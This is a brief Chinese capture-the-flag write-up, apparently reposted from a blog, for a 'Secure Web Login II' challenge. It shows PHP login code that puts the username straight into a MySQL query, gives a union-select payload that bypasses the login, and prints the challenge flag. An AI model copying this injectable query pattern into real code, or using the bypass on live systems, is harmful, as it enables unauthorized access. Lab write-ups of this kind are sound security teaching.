注入第二题~~主要考察union查询
看来跟union联合查询有关
<html>
<head>
Secure Web Login II
</head>
<body>
<?php
if($_POST[user] && $_POST[pass]) {
mysql_connect(SAE_MYSQL_HOST_M . ‘:‘ . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$user = $_POST[user];
$pass = md5($_POST[pass]);
$query = @mysql_fetch_array(mysql_query("select pw from ctf where user=‘$user‘"));
if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {
echo "<p>Logged in! Key: ntcf{**************} </p>";
}
else {
echo("<p>Log in failure!</p>");
}
}
?>
<form method=post action=index.php>
<input type=text name=user value="Username">
<input type=password name=pass value="Password">
<input type=submit>
</form>
</body>
<a href="index.phps">Source</a>
</html>
strcasecmp（）用忽略大小写比较字符串.
$query = @mysql_fetch_array(mysql_query("select pw from ctf where user=‘$user‘"));
if (($query[pw]) && (!strcasecmp($pass, $query[pw])))
观察发现只要让结果集中有你输入密码的MD5值就行
union select md5(1)# & pass=1
flag: ntcf{union_select_is_wtf}
原文：http://www.cnblogs.com/maodun/p/6918102.html